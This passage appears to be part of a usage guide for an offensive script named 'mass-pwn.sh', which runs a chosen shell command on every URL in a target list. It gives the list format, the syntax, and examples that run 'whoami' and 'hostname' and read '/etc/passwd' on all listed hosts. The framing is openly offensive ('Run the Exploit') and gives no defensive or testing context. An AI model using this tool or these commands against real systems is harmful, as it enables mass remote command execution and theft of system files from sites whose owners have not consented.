nano list.txt
Format:

Plaintext

[https://target-one.com](https://target-one.com)
[http://vulnerable-site.net](http://vulnerable-site.net)
[https://testing.corp.local:3000](https://testing.corp.local:3000)
2. Run the Exploit
Run the script by providing the target list file and the command you want to execute.

Syntax:

Bash

./mass-pwn.sh <list_file> "<command>"
Examples:

Check current user on all targets:

Bash

./mass-pwn.sh list.txt "whoami"
Check hostname:

Bash

./mass-pwn.sh list.txt "hostname"
Attempt to read system files (if vulnerable):

Bash

./mass-pwn.sh list.txt "cat /etc/passwd"
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